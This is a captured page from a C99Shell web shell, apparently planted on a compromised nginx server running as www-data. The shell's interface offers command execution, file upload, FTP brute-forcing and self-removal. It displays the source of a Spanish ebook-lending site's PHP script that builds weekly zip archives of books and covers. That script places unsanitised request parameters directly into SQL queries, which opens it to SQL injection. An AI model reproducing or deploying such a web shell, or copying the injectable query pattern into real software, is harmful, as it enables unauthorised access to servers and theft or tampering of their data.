!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/nginx/html/automatas/   drwxrwxrwx
Free 83.35 GB of 96.73 GB (86.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     bajar_libros_semana_nuevo_especial.php (8.29 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<head>
<meta http-equiv="Content-Type"   content="text/html; charset=iso-8859-1" />
<link rel="stylesheet" type="text/css" href="nuevo.css">

<link rel="STYLESHEET" type="text/css" href="estilo.css">
</head>
<?php
include "../frames/classes/dZip.inc.php";    
include 
"../frames/conn.php";


if (
$_REQUEST['mayor_que']){
    
$anadido=" and id >{$_REQUEST['mayor_que']} ";
}


if (!
$_REQUEST['fecha_inicial']){
    

    
?>
    <table border=1>
    <form action="<? echo $_SERVER['PHP_SELF'];?>" method="post">
    <tr><td>YYYY-MM-DD <input type="text" name="fecha_inicial"></tr>
    <tr><td>YYYY-MM-DD <input type="text" name="fecha_final"></tr>
    <tr><td>id mayor que <input type="text" name="mayor_que" value="0"></tr>  
    <tr><td><input type="submit" value="Submit!"></tr>
    </table>
    </form>

    <?


    
    
}else{    
    
    
$sql_actualizacion="select * from actualizacion   order by id desc limit 1";
    echo 
"<br>$sql_actualizacion<br>";
    
$res_actualizacion=mysql_query($sql_actualizacion,$conn);
    
$row_actualizacion=mysql_fetch_array($res_actualizacion);
    echo 
"<pre>";
    
print_r($row_actualizacion);
    


    
$directorio="../libros/";


    
$counter=0;
    
$limite=1000;


    
$sql="     SELECT libros.id ,libros.titulo,libros.autor,libros.genero,libros.subgenero,libros.programa,
    libros.anyo,libros.ruta,libros.inftp,libros.tamano,libros.tiempo, sinopsis.sinopsis, sinopsis.imagename FROM libros
     LEFT OUTER JOIN sinopsis
     ON libros.id = sinopsis.id_book
     WHERE ((libros.fecha_subida >='"
.$_POST['fecha_inicial']." 00:00:00' and libros.fecha_subida <='".$_POST['fecha_final']." 23:59:59')
       and (libros.inftp=1 and libros.tamano>0)) order by libros.id asc "
;    
    echo 
$sql;
    echo 
"se pasa a datetiome: ".$_POST['fecha_final']." 23:59:59 <br>";

    
$fecha=NEW DateTime($_POST['fecha_final']." 23:59:00");
    
$fecha->modify("+".DIF_HORARIA." hour");
    echo 
$fecha->format("D\, d M Y H:i:s O")."<br>";
        

    
$res=mysql_query($sql,$conn); 
 
    echo 
mysql_error();
    
$counter++;
    echo 
"creando directorio ";
    echo 
$destino=trim($_POST['fecha_inicial'])."----".trim($_POST['fecha_final'])."\n";


    echo 
"fichero en www.papyrefb2.net/automatas/recopilatorios_semanales_nuevos/recopilacion_desde_".trim($_POST['fecha_inicial'])."_al_".trim($_POST['fecha_final']).".zip \n"
    
$zip = new dZip("./recopilatorios_semanales_nuevos/recopilacion_desde_".trim($_POST['fecha_inicial'])."_al_".trim($_POST['fecha_final']).".zip");    
    
$zip_portadas=new dZip("./recopilatorios_semanales_nuevos/portadas_".trim($_POST['fecha_inicial'])."_al_".trim($_POST['fecha_final']).".zip");
    
$ccadena="  <center><h1>Recopilaci�n de libros en pr�stamo de <b>www.papyrefb2.net</b>, desde ".trim($_POST['fecha_inicial'])
    .
" hasta ".trim($_POST['fecha_final'])."</h1><br><br>
    <table border=1 ><tr><td bgcolor=#CAEFF7>Numero<td bgcolor=#CAEFF7>T�tulo<td bgcolor=#CAEFF7>autor<td bgcolor=#CAEFF7>fichero</tr>"
;

    
$texto="";
    
$sepa=chr(10).chr(13);
    
$saca_row_1=0;   
    
$array_libros=array();
    while (
$row=mysql_fetch_array($res)){
        if (
counter/2==intval($counter/2)){
            
$color="#F0F0F0";
        }else{
            
$color="#FFFFC0";
        }

        if (
$saca_row_1==0){
            
$tiempo_inicio=$row['tiempo'];
            echo 
"<br>hoy es ".date("Y-m-d H:i:s")."<br>"   ;
            
$fecha_ahora=NEW DateTime(date("Y-m-d H:i:s"));
    
$fecha_ahora->modify("+".DIF_HORARIA." hour");
    echo 
$fecha_ahora->format("Y-m-d H:i:s")."<br>";
            
            echo 
"tiempo inicio es: ".$tiempo_inicio." del libro '{$row['titulo']}'<br>";
            
$fecha_timestamp=NEW DateTime($row['tiempo']);
    
$fecha_timestamp->modify("+".DIF_HORARIA." hour");
    echo 
$fecha_timestamp->format("Y-m-d H:i:s");
            
            
$saca_row_1++;
        }
        
        
array_push($array_libros,$row ['id']);
        


        
$vard=split('/libros/'$row['ruta']);



        
$titulo=trim($vard[1]);
        
//echo "el titulo  es ";  
        //echo $titulo."<br>";    

        
$ccadena.="<tr><td bgcolor=$color>{$row['id']}<td bgcolor=$color>{$row['titulo']}<td bgcolor=$color>{$row['autor']}<td bgcolor=$color>$titulo</tr>";  

        
$zip->addFile("../libros/$titulo","$titulo");
        
$zip_portadas->addfile("../frames/includes/{$row['imagename']}",$row['imagename']);
        echo 
"../frames/includes/{$row['imagename']} ".$row['imagename']."<br>";
        
$texto.="##1##".$row['id'];
        
$texto.="##2##".$row['autor'];
        
$texto.="##3##".$row['titulo'];
        
$texto.="##4##".$row['genero'];
        
$texto.="##5##".$row['subgenero']; 
        
$texto.="##6##".$row['anyo']; 
        
$texto.="##7##".$row['programa'];  
        
$texto.="##8##".$row['sinopsis']."$$$$";  


     
//$tiempo_a_grabar=$row['tiempo'] ;

    
}
    
print_r($array_libros);
    
// ahora, sacamos simplemente los libros cuya fecha de mofificaci�n sea mayor de $row_actualizacion['tiempo'], y no esten en en array _libros    

foreach ($array_libros as $key=>$valor){
    
$notin.="'".$valor."',";
}
$notin=substr($notin,0,strlen($notin)-1);


       
$sql_libros_cambio"SELECT libros.id, libros.titulo, libros.autor, libros.genero, libros.subgenero, libros.programa, libros.anyo, libros.ruta, libros.inftp, libros.tamano, libros.tiempo, sinopsis.sinopsis, sinopsis.imagename, sinopsis.tiempo,sinopsis.tamano_imagen
FROM libros
LEFT OUTER JOIN sinopsis ON libros.id = sinopsis.id_book
WHERE (
(
libros.tiempo > '
{$row_actualizacion['tiempo']}'
OR sinopsis.tiempo > '
{$row_actualizacion['tiempo']}'
)
AND (
libros.inftp =1
AND libros.tamano >0
)
AND libros.id NOT
IN (
$notin))
ORDER BY libros.id ASC "
;
       echo   
$sql_libros_cambio;
       
$res_libros_cambio=mysql_query($sql_libros_cambio,$conn);

echo 
"si existe error-".mysql_error()."-<br>";

while (
$row_cambio=mysql_fetch_array($res_libros_cambio)){
    echo  
"<BR>NUEVO id del libro"$row_cambio['id']."<br>";
$texto.="##1##".$row_cambio['id'];
        
$texto.="##2##".$row_cambio['autor'];
        
$texto.="##3##".$row_cambio['titulo'];
        
$texto.="##4##".$row_cambio['genero'];
        
$texto.="##5##".$row_cambio['subgenero']; 
        
$texto.="##6##".$row_cambio['anyo']; 
        
$texto.="##7##".$row_cambio['programa'];  
        
$texto.="##8##".$row_cambio['sinopsis']."$$$$";      
        
        
// adem�s, miramos si el tama�o del JPG es distinto de lo que esta marcado
echo $tamano_jpg=filesize("../frames/includes/{$row_cambio['imagename']}");   

ECHO 
"<BR>aNTES DEL IF: tamano_imagen=$tamano_jpg - ten base de datos: {$row_cambio['tamano_imagen']}<br>";

 if (
$row_cambio['tamano_imagen']<>$tamano_jpg){
             echo 
"<br> tama�o fiferente: en directorio $tamano_jpg, en BBDD {$row_cambio['tamano_imagen']}<br>";
             
$zip_portadas->addfile("../frames/includes/{$row_cambio['imagename']}",$row_cambio['imagename']);
        echo 
"../frames/includes/{$row_cambio['imagename']} ".$row_cambio['imagename']."<br>";
        
// update el tama�o de imagen
 
}
}
 die();

       
















    
     
$sql_actualizacion="insert into actualizacion (fecha, tiempo) values('{$_POST['fecha_final']}  23:59:59','$tiempo_a_grabar')";
mysql_query($sql_actualizacion);    
echo   
"<br>$sql_actualizacion<br>";
echo 
mysql_error();    
    echo 
"<pre>";

    
    echo 
$ccadena.="</table>";

    
$handle=fopen("./recopilatorios_semanales_nuevos/Lista_de_libros_y_autores.html","w+");
    
fwrite($handle$ccadena);
    
fclose($handle);

    
$handle=fopen("./recopilatorios_semanales_nuevos/".trim($_POST['fecha_final']).".txt","w+");
    
fwrite($handle$texto);
    
fclose($handle);

    
// aqui, añadimos los borrados desde el recopilatorio gigante mayor que 5430
    
$handleborrar=fopen("./recopilatorios_semanales_nuevos/descartados_".trim($_POST['fecha_final']).".txt","w+"); 
    if (!
$handleborrar)die("error en handleborrar");
    
$sql2="SELECT id FROM libros WHERE inftp<>1 "
    
$ser=mysql_query($sql2,$conn);
    echo 
mysql_error();
    while (
$rowborrar=mysql_fetch_array($ser)){
        
fwrite ($handleborrar,$rowborrar['id'].chr(10).chr(13));
    }
    
fclose($handleborrar);




    
$zip->addFile("./recopilatorios_semanales_nuevos/Lista_de_libros_y_autores.html","Lista_de_libros_y_autores.html"); 
    
$zip->addFile("./recopilatorios_semanales_nuevos/portadas_".trim($_POST['fecha_inicial'])."_al_".trim($_POST['fecha_final']).".zip","portadas_".trim($_POST['fecha_inicial'])."_al_".trim($_POST['fecha_final']).".zip");
    
$zip->addFile("./recopilatorios_semanales_nuevos/".trim($_POST['fecha_final']).".txt",trim($_POST['fecha_final']).".txt");
    
$zip->addFile("./recopilatorios_semanales_nuevos/descartados_".trim($_POST['fecha_final']).".txt","descartados_".trim($_POST['fecha_final']).".txt");
    echo  
"<pre>";
    
//print_r($zip);
    
    // aqui, deber�amos coger los libros con modificaciones , que no est�n en el $array_libros 
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
$zip->save();
    
$zip_portadas->save(); 
    echo 
"<pre>";         
    
print_r($tiempo_a_grabar);
    
    

   
   
   
}



  

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0048 ]--